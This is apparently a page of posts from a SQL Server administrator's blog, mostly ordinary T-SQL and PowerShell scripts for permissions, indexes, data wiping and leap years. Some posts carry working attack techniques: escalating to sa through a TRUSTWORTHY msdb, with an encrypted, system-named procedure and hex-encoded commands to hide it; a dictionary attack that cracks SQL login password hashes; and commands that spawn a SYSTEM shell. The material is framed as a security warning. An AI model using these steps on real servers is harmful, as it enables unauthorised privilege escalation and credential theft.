SQL Event for July 2014

Almost July 2014 and looking forward to what will no doubt be another great SQLBits. This time in Telford.

SQLBits XII 17th – 19th July 2014 The International Centre, Telford
http://sqlbits.com/

However before SQLBits there is another event that you can still go to if you are quick, and it is in the South West!

There are currently a few spots available to see Brent Ozar present “Are AlwaysOn Availability Groups Right for You?” in Bristol. So get in quick

Updated 2 July 2014 No places left..

http://www.sqlserverclub.co.uk/sql-server-bristol-user-group-events.aspx

Checking what permissions they have in SQL Server

The function sys.fn_my_permissions is very useful for seeing what permissions you have, but it can be just as useful to check someone else. For this all that is needed is to use EXECUTE AS to impersonate them.

--http://jongurgul.com/blog/checking-permissions-sql-server
CREATE USER Meow WITHOUT LOGIN

SELECT SUSER_NAME() [LoginName],USER_NAME() [DatabaseLoginName];

EXECUTE AS USER = 'Meow'
--EXECUTE AS LOGIN = 'Meow'

SELECT * FROM
(
SELECT SUSER_NAME() [LoginName],USER_NAME() [DatabaseLoginName],2 [Level],ao.[name],p.[permission_name],p.[entity_name],p.[subentity_name]
FROM sys.all_objects ao
CROSS APPLY sys.fn_my_permissions(QUOTENAME(ao.[name]),'OBJECT') p
UNION ALL
SELECT SUSER_NAME() [LoginName],USER_NAME() [DatabaseLoginName],1,db_name () [name],p.[permission_name],p.[entity_name],p.[subentity_name]
FROM sys.fn_my_permissions(NULL, 'DATABASE') p
UNION ALL
SELECT SUSER_NAME() [LoginName],USER_NAME() [DatabaseLoginName],0,@@SERVERNAME,p.[permission_name],p.[entity_name],p.[subentity_name]
FROM sys.fn_my_permissions(NULL, 'SERVER') p
) x
ORDER BY 1,2,3
REVERT

SELECT SUSER_NAME() [LoginName],USER_NAME() [DatabaseLoginName];

DROP USER Meow

Dangers of giving dbo in MSDB

I wanted to talk today about something that I have often seen in environments which is that dbo is granted to msdb without a second thought to the exact implications.

So what? Its not got any user data in it, and they need dbo to perform some action not covered by the existing security to do with job(s)/agent management. (Probably a lazy permission grant in all honesty)

The issue that occurs is basically that  although you have granted dbo, they have in fact got SA. First when installing SQL Server the msdb database is created with “TRUSTWORTY ON” and secondarily the system databases are owned by SA.

But why is this an issue? Because all that is needed is for a malicious user with dbo to create a very simple procedure using “EXECUTE AS OWNER”. Now as SQL Server has TRUSTWORTHY set for msdb what happens is that we can now escalate to SA.

1. Create a user (or use an existing one with permission of dbo on msdb)

USE [msdb]
CREATE USER Gur WITHOUT LOGIN
GO
ALTER ROLE [db_owner] ADD MEMBER [Gur]

2. Test Access

USE [msdb]
EXECUTE AS USER='Gur'
PRINT SUSER_SNAME()
CREATE DATABASE j0
REVERT
PRINT SUSER_SNAME()

So this errors, because we do not have the permission to create a database we just have dbo. “Msg 262, Level 14, State 1, Line 3 CREATE DATABASE permission denied in database ‘master’.”

3. Adding a procedure with EXECUTE AS OWNER on a TRUSTWORTHY database.

Lets create a procedure to do what ever we want… Here is one in which I will also encrypt the definition to hide the evilness.

CREATE PROCEDURE msdb_purge @SQL NVARCHAR(4000) WITH ENCRYPTION,EXECUTE AS OWNER AS EXEC sp_executesql @sql

4. Lets try it out

USE [msdb]
EXECUTE AS USER='Gur'
PRINT SUSER_SNAME()
EXEC msdb_purge 'CREATE DATABASE j1'
REVERT
PRINT SUSER_SNAME()

… Command(s) completed successfully.

5. Finally as we want to hide what we are doing lets cast the command to varbinary which will be accepted by our procedure. (Drop database created above)

USE [msdb]
EXECUTE AS USER='Gur'
PRINT SUSER_SNAME()
EXEC msdb_purge 0x43005200450041005400450020004400410054004100420041005300450020006A00 --SELECT CAST(N'CREATE DATABASE j2' AS VARBINARY(8000))
REVERT
PRINT SUSER_SNAME()

In the above I have hidden the definition, as well as the command being run. I have also given it a nice system sounding name to make it less likely to be picked up. I suppose I could also mark it as a system object. (sys.sp_MS_MarkSystemObject)

TRUSTWORTHY + dbo = I can be whoever owns that database. Nobody has freely granted dbo in msdb for your default install of SQL Server right?

SQL Server Login password hash

In this article we will look at how SQL Server stores passwords and how we can go about working them out.

As a developer/administrator you are probably accessing SQL Server via a windows login, however the other option is when the instance is changed into mixed mode allowing SQL Logins. These logins are created within the master database and shown in sys.server_principals.

There is additional information in sys.sql_logins which itself inherits from sys.server_principals.  The 3 additional columns are called is_policy_checked,is_expiration_checked and password_hash.

If you take a hash of a known piece of text using the HASHBYTES function, and then compare it with an identical password you have entered when creating a sql login you will notice that they do not match. (Looking at the password_hash columns in sys.sql_logins)

The difference is that an addition piece of data called a salt has been added to the process.

x = Hash(PlainText + Salt) instead of x = Hash(PlainText)

SELECT HASHBYTES('SHA2_512',CAST(N'JonGurgul' AS VARBINARY(MAX)))
--0x605334B588BA046B9EA3FD2F7C501ABD549D2F698A57E78EAE525553F72CBA0B710FBD928FB1AE05FD6FAEECB9A957C2EEF0323EA6BC75FE92A60C7D4FAA7AD2

SELECT HASHBYTES('SHA2_512',CAST(N'JonGurgul' AS VARBINARY(MAX))+0xF1202F8A)
--0x0C9748812054A27F0209CD5DCA57EFE33C496A112BA6EBB048B91D35FA784F385A1625228777164719565A02612255B83F6BD37DE096DEBE74AF9B936BB8C02D

This helps to add additional security, however SQL server stores the salt as part of the hash. If you look at the password_hash column you will have something that looks like:

0x0200F1202F8A0C9748812054A27F0209CD5DCA57EFE33C496A112BA6EBB048B91D35FA784F385A1625228777164719565A02612255B83F6BD37DE096DEBE74AF9B936BB8C02D

Now you will see that the bold 4 bytes match the salt that I had used in the previous example, and the red data is the actual hash of the plain text.

Cracking/Hacking/Guessing SQL Login passwords

Now for an example and with a bit of guess work lets see if I can work out any of your passwords. Note that the hash algorithm changes from SHA1 to SHA2-512 from SQL 2012.

--http://jongurgul.com/blog/sql-server-login-password-hash
USE [tempdb]
GO
IF NOT EXISTS(SELECT * FROM [tempdb].sys.tables WHERE name = 'WordList')
BEGIN
 CREATE TABLE [dbo].[WordList]([Plain] NVARCHAR(MAX))
 
 --USERNAME//PASSWORD COMBOS
 INSERT INTO [WordList]([Plain])
 SELECT [name] FROM sys.sql_logins
 UNION
 SELECT REPLACE(REPLACE(REPLACE([name],'o','0'),'i','1'),'e','3') FROM sys.sql_logins
 UNION
 SELECT REPLACE(REPLACE(REPLACE([name],'o','0'),'i','1'),'e','3')+'.' FROM sys.sql_logins --example added character
 UNION
 SELECT REPLACE(REPLACE(REPLACE([name],'o','0'),'i','1'),'e','3')+'!' FROM sys.sql_logins --example added character
 
 --No Comment
 INSERT INTO [WordList]([Plain]) VALUES (N'')
 INSERT INTO [WordList]([Plain]) VALUES (N'password')
 INSERT INTO [WordList]([Plain]) VALUES (N'sa')
 INSERT INTO [WordList]([Plain]) VALUES (N'dev')
 INSERT INTO [WordList]([Plain]) VALUES (N'test')
END
--DECLARE @Algorithm VARCHAR(10)
--SET @Algorithm = CASE WHEN @@MICROSOFTVERSION/0x01000000 >= 11 THEN 'SHA2_512' ELSE 'SHA1' END
 
SELECT
 s.[name]
,s.[password_hash]
,SUBSTRING(s.[password_hash],1,2) [Algorithm]
,SUBSTRING(s.[password_hash],3,4) [Salt]
,SUBSTRING(s.[password_hash],7,(LEN(s.[password_hash])-6)) [Hash]
,HASHBYTES(a.[Algorithm],CAST(w.[Plain] AS VARBINARY(MAX))+SUBSTRING(s.[password_hash],3,4)) [ComputedHash]
--,HASHBYTES(@Algorithm,CAST(w.[Plain] AS VARBINARY(MAX))+SUBSTRING([password_hash],3,4)) [ComputedHash]
,w.[Plain]
FROM sys.sql_logins s
INNER JOIN (
SELECT 0x0100 [AlgorithmVersion],'SHA1' [Algorithm] UNION ALL
SELECT 0x0200,'SHA2_512'
) a ON a.[AlgorithmVersion] = SUBSTRING(s.[password_hash],1,2)
INNER JOIN [tempdb].[dbo].[WordList] w
ON SUBSTRING(s.[password_hash],7,(LEN(s.[password_hash])-6)) = HASHBYTES(a.[Algorithm],CAST(w.[Plain] AS VARBINARY(MAX))+SUBSTRING(s.[password_hash],3,4))
--ON SUBSTRING([password_hash],7,(LEN([password_hash])-6)) = HASHBYTES(@Algorithm,CAST(w.[Plain] AS VARBINARY(MAX))+SUBSTRING([password_hash],3,4))

IF EXISTS(SELECT * FROM [tempdb].sys.tables WHERE name = 'WordList')
BEGIN
 DROP TABLE [tempdb].[dbo].[WordList]
END
GO
SELECT
[name]
,[password_hash]
,SUBSTRING([password_hash],1,2) [Algorithm]
,SUBSTRING([password_hash],3,4) [Salt]
,SUBSTRING([password_hash],7,(LEN([password_hash])-6)) [Hash]
FROM sys.sql_logins
GO

I have used a table to store some plain text example passwords, but you can obviously add your own guesses to try to determine the obvious ones.

Hopefully the above simple code has not worked out any of your passwords, but if it has I would suggest taking the opportunity to change them.

Another option instead of manually extracting the salt and rehashing is to use the function PWDCOMPARE which will do the work for you.

SELECT [name],[password_hash]
FROM sys.sql_logins
WHERE PWDCOMPARE(N'JonGurgul',[password_hash]) = 1

Running as local system to allow administrators in to SQL Server

In cases when there are no provisioned accounts in a SQL Server instance which are known or working, then there is an option instead to run as nt authority \ system (local system). Note that in SQL 2012 local system no longer has sa and you will have to instead start SQL Server in single user mode. http://technet.microsoft.com/en-us/library/dd207004.aspx

Method 1

This method basically involves creating a new windows service which starts an interactive command prompt.

1. sc create _IC binpath= “cmd /K start” type= interact type= own

[SC] CreateService SUCCESS
WARNING: The service _IC is configured as interactive whose support is being deprecated. The service may not function properly.

2. sc start _IC

[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.

3. Check for the spawned dialog and click view the message

system_prompt

4. This will then lead to a command prompt running as local system. When finished close all your opened apps.

system_cmd_prompt

5. The final tidy up step is to delete the elevator sc delete _IC

Method 2

You need psexec from http://technet.microsoft.com/en-gb/sysinternals/bb897553.aspx

1. psexec –s –i cmd

Simple Table and Index Breakdown With Buffered

This script builds on the Simple Table and Index script to further show the buffered metrics. This script will give you a simple breakdown of your tables and indexes, which is shown with schema(s),table(s),index type(s),row count(s) as well as the partition(s) information.

This is a reduced version of the “Detailed Table and Index Breakdown With Buffered” which includes more information such as storage size, allocation type and filegroup.

--http://jongurgul.com/blog/simple-table-index-breakdown-buffered/
SELECT
 SCHEMA_NAME(ao.[schema_id]) [SchemaName]
,ao.[name] [ObjectName]
,i.[name] [IndexName]
,i.[type_desc] [IndexType]
,p.[partition_number] [PartitionNumber]
--,p.[data_compression_desc] [Compression]
,ds.[name] [PartitionName]
,p.[rows] [NumberOfRows]
,prv.[value] [LowerBoundaryValue]
,prv2.[value] [UpperBoundaryValue]
,b.[DataPagesBuffered]
,CONVERT(DECIMAL (15,3),b.[DataPagesBuffered]*0.0078125) [DataBuffered_MiB]
,b.[IndexPagesBuffered]
,CONVERT(DECIMAL (15,3),b.[IndexPagesBuffered]*0.0078125) [IndexBuffered_MiB]
,b.[PagesBuffered]
--,b.[numa_node] [NumaNode]
FROM sys.partition_functions pf
INNER JOIN sys.partition_schemes ps ON pf.[function_id] = ps.[function_id]
RIGHT OUTER JOIN sys.partitions p
INNER JOIN sys.indexes i ON p.[object_id] = i.[object_id] AND p.[index_id] = i.[index_id]
INNER JOIN sys.data_spaces ds ON i.[data_space_id] = ds.[data_space_id]
INNER JOIN sys.all_objects ao ON i.[object_id] = ao.[object_id] ON ps.[data_space_id] = ds.[data_space_id]
LEFT OUTER JOIN sys.partition_range_values prv ON ps.[function_id] = prv.[function_id] AND p.[partition_number] - 1 = prv.[boundary_id]
LEFT OUTER JOIN sys.partition_range_values prv2 ON ps.[function_id] = prv2.[function_id] AND prv2.[boundary_id] = p.[partition_number]
	INNER JOIN sys.allocation_units au ON au.[container_id] = p.[partition_id]
	INNER JOIN
	(
	SELECT
	[allocation_unit_id], SUM(CASE WHEN [page_type] = 'INDEX_PAGE' THEN 1 ELSE 0 END) [IndexPagesBuffered]
	,SUM(CASE WHEN [page_type] = 'DATA_PAGE' THEN 1 ELSE 0 END) [DataPagesBuffered]
	,COUNT_BIG(*) [PagesBuffered]
	--,[numa_node]
	FROM sys.dm_os_buffer_descriptors
	WHERE [database_id] = DB_ID()
	GROUP BY [allocation_unit_id]--,[numa_node]
	) b
	ON au.[allocation_unit_id] = b.[allocation_unit_id]
WHERE ao.[is_ms_shipped] = 0 
--AND SCHEMA_NAME(ao.[schema_id]) ='dbo' 
--AND ao.[name] LIKE '%%' 
ORDER BY SCHEMA_NAME(ao.[schema_id]),ao.[name]

http://gallery.technet.microsoft.com/scriptcenter/Simple-Table-and-Index-4f040589

Detailed Table Index Breakdown With Buffered

This script builds on the Detailed Table and Index script to further show the buffered metrics. This script will give you a comprehensive breakdown of your tables and indexes, which is shown with schema(s),table(s),index type(s),index size(s),row count(s) as well as the filegroup(s) and partition(s) information.

Also in this script I have included two columns called TippingPoint* which relate to the rough bounderies where a nonclustered index is no longer selective enough. I have applied the formula to the clustered index for ease. For more detail on an indexes tipping point please see Kimberly Tripp’s article.
http://www.sqlskills.com/BLOGS/KIMBERLY/category/The-Tipping-Point.aspx

--http://jongurgul.com/blog/detailed-table-index-breakdown-buffered/
SELECT
 DB_NAME() [DatabaseName]
,ao.[object_id] [ObjectID]
,SCHEMA_NAME(ao.[schema_id]) [SchemaName]
,ao.[name] [ObjectName]
,ao.[is_ms_shipped] [IsSystemObject]
,i.[index_id] [IndexID]
,i.[name] [IndexName]
,i.[type_desc] [IndexType]
,au.[type_desc] [AllocationUnitType]
,p.[partition_number] [PartitionNumber]
,ds.[type] [IsPartition]
--,p.[data_compression_desc] [Compression]
,ds.[name] [PartitionName]
,fg.[name] [FileGroupName]
,p.[rows] [NumberOfRows]
,CASE 
 WHEN pf.[boundary_value_on_right] = 1 AND ds.[type] = 'PS' THEN 'RIGHT'
 WHEN pf.[boundary_value_on_right] IS NULL AND ds.[type] = 'PS' THEN 'LEFT'
 ELSE NULL
 END [Range]
,prv.[value] [LowerBoundaryValue]
,prv2.[value] [UpperBoundaryValue]
,CONVERT(DECIMAL (15,3),(CASE WHEN au.[type_desc] = 'IN_ROW_DATA' AND p.[rows] >0 THEN p.[rows]/NULLIF(au.[data_pages],0) ELSE 0 END)) [RowsPerPage]
,(CASE WHEN au.[type_desc] = 'IN_ROW_DATA' AND i.[type_desc] = 'CLUSTERED' THEN au.[used_pages]*0.20 ELSE NULL END) [TippingPointLower_Rows]
,(CASE WHEN au.[type_desc] = 'IN_ROW_DATA' AND i.[type_desc] = 'CLUSTERED' THEN au.[used_pages]*0.30 ELSE NULL END) [TippingPointUpper_Rows]
,au.[used_pages][UsedPages]
,CONVERT(DECIMAL (15,3),(CASE WHEN au.[type] <> 1 THEN au.[used_pages] WHEN p.[index_id] < 2 THEN au.[data_pages] ELSE 0 END)*0.0078125) [DataUsedSpace_MiB]
,CONVERT(DECIMAL (15,3),(au.[used_pages]-(CASE WHEN au.[type] <> 1 THEN au.[used_pages] WHEN p.[index_id] < 2 THEN au.[data_pages] ELSE 0 END))*0.0078125) [IndexUsedSpace_MiB]
,au.[data_pages] [DataPages] --maybe better called leaf pages? page level 0 could be data pages or in nc index pages. it counts In-row data,LOB data and Row-overflow data.
,b.[DataPagesBuffered]
,CONVERT(DECIMAL (15,3),b.[DataPagesBuffered]*0.0078125) [DataBuffered_MiB]
,b.[IndexPagesBuffered]
,CONVERT(DECIMAL (15,3),b.[IndexPagesBuffered]*0.0078125) [IndexBuffered_MiB]
,b.[PagesBuffered]
--,b.[numa_node] [NumaNode]
FROM 
sys.partition_functions pf
INNER JOIN sys.partition_schemes ps ON pf.[function_id] = ps.[function_id]
RIGHT OUTER JOIN sys.partitions p
INNER JOIN sys.indexes i ON p.[object_id] = i.[object_id] AND p.[index_id] = i.[index_id]
INNER JOIN sys.allocation_units au ON au.[container_id] = p.[partition_id]
INNER JOIN sys.filegroups fg ON au.[data_space_id] = fg.[data_space_id]
INNER JOIN sys.data_spaces ds ON i.[data_space_id] = ds.[data_space_id]
INNER JOIN sys.all_objects ao ON i.[object_id] = ao.[object_id] ON ps.[data_space_id] = ds.[data_space_id]
LEFT OUTER JOIN sys.partition_range_values prv ON ps.[function_id] = prv.[function_id] AND p.[partition_number] - 1 = prv.[boundary_id]
LEFT OUTER JOIN sys.partition_range_values prv2 ON ps.[function_id] = prv2.[function_id] AND prv2.[boundary_id] = p.[partition_number]
 INNER JOIN
 (
 SELECT
 [allocation_unit_id], SUM(CASE WHEN [page_type] = 'INDEX_PAGE' THEN 1 ELSE 0 END) [IndexPagesBuffered]
 ,SUM(CASE WHEN [page_type] = 'DATA_PAGE' THEN 1 ELSE 0 END) [DataPagesBuffered]
 ,COUNT_BIG(*) [PagesBuffered]
 --,[numa_node]
 FROM sys.dm_os_buffer_descriptors
 WHERE [database_id] = DB_ID()
 GROUP BY [allocation_unit_id]--,[numa_node]
 ) b
 ON au.[allocation_unit_id] = b.[allocation_unit_id]
WHERE
ao.[is_ms_shipped] = 0
AND au.[type_desc] = 'IN_ROW_DATA'
--AND SCHEMA_NAME(ao.[schema_id]) ='dbo'
--AND ao.[name] LIKE '%%'
ORDER BY SCHEMA_NAME(ao.[schema_id]),ao.[name]

http://gallery.technet.microsoft.com/scriptcenter/Detailed-Table-and-Index-1dd12259

Quick data wipe via truncate

“How to remove all data from a database?” is something that I have often seen asked on the forums. How do you remove all the data quickly? First you try with delete and find that this is too slow and the transaction log has to record all the changes, so you use truncate which is great at removing the data and with less logging. However the problem with this is that you cannot use truncate when there are constraints.
On a side note I often say that it is best to have a scripted empty version of your database rather that remove data.

You will need SMO installed for this script to work.

This script will produce the commands to:
1. Drop Constraints
2. Truncate All Tables
3. Recreate Constraints
It is not fully automated for safety and relies on the end user checking that the scripts perform the tasks they want!
Replace (local) and AdventureWorks with the sql instance/database you want to script the changes for, and as long as you have not got any schema bound objects then you will have a script to accomplish the task.

!!!PLEASE CHECK!!! THIS WILL PRODUCE SCRIPTS THAT DELETE DATA & DROP/CREATE CONSTRAINTS!!!

0. Backup taken!!!
1. Correct Server/Instance selected?
2. Correct Database selected?

I take no Liability for any issues relating to this script, but appreciate any feedback.

#http://jongurgul.com/blog/quick-data-wipe-truncate/
[Void][Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.Smo") | Out-Null;
[Microsoft.SqlServer.Management.Smo.ScriptingOptions] $ScriptingOptions = New-Object "Microsoft.SqlServer.Management.Smo.ScriptingOptions";
$ScriptingOptions.TargetServerVersion = [Microsoft.SqlServer.Management.Smo.SqlServerVersion]::Version90; #Version90, Version100, Version105
$ScriptingOptions.ContinueScriptingOnError = $false; #ignore scripts errors, advisable to keep set to $false
$SqlInstance = New-Object "Microsoft.SqlServer.Management.Smo.Server" "(local)"; 
$SqlInstance.SetDefaultInitFields([Microsoft.SqlServer.Management.SMO.Table], "IsSystemObject");
$SqlInstance.SetDefaultInitFields([Microsoft.SqlServer.Management.SMO.View], "IsSystemObject");
$Database = $SqlInstance.Databases["AdventureWorks"];
$DropFKScript = $null;
$TruncateScript = $null;
$CreateFKScript = $null;
$SchemaBound = $($Database.Views|Where-Object {!$_.IsSystemObject -and $_.IsSchemaBound}|%{$_});
cls;
If ($SchemaBound -eq $null){
	$Database.Tables|%{$_.ForeignKeys}|%{
	$ScriptingOptions.DriForeignKeys = $true;
	$ScriptingOptions.SchemaQualifyForeignKeysReferences = $true;
	$ScriptingOptions.ScriptDrops = $false;
	$CreateFKScript += "{0}`r`nGO`r`n" -f $($_.Script($ScriptingOptions));
	$ScriptingOptions.ScriptDrops = $true;
	$DropFKScript += "{0}`r`nGO`r`n" -f $($_.Script($ScriptingOptions));
	}
	$TruncateScript += $Database.Tables|Where-Object {!$_.IsSystemObject}|%{"TRUNCATE TABLE [{0}].[{1}]" -f ($_.Schema,$_.Name)};
}
Else{
	Write-Host "Schema Bound Objects Present:";
	$SchemaBound|%{"[{0}].[{1}]" -f ($_.Schema,$_.Name)};
}
$DropFKScript;
$TruncateScript;
$CreateFKScript;

Leap Year

A leap year can be calculated using a formula (Please see Microsoft article), however there is no real need to calculate it this way. All that is needed in sql is to take one day away from March 1st; with the resultant being either the 28th, or in the case of a leap year the 29th. Finally by substracting 28 this is simplified to 1 or 0.

Method to determine whether a year is a leap year
http://support.microsoft.com/kb/214019

--http://jongurgul.com/blog/leap-year/
DECLARE @Leap TABLE ([yyyy] INT)
INSERT INTO @Leap VALUES (YEAR(GETDATE()))
INSERT INTO @Leap VALUES (YEAR(DATEADD(yyyy,1,GETDATE())))
INSERT INTO @Leap VALUES (YEAR(DATEADD(yyyy,2,GETDATE())))
INSERT INTO @Leap VALUES (YEAR(DATEADD(yyyy,3,GETDATE())))
SELECT 
 [yyyy]
,DATEPART(d,DATEADD(d,-1,CAST(CAST([yyyy]*10000+0301 AS CHAR(8)) AS DATETIME)))-28 [isLeap] 
FROM @Leap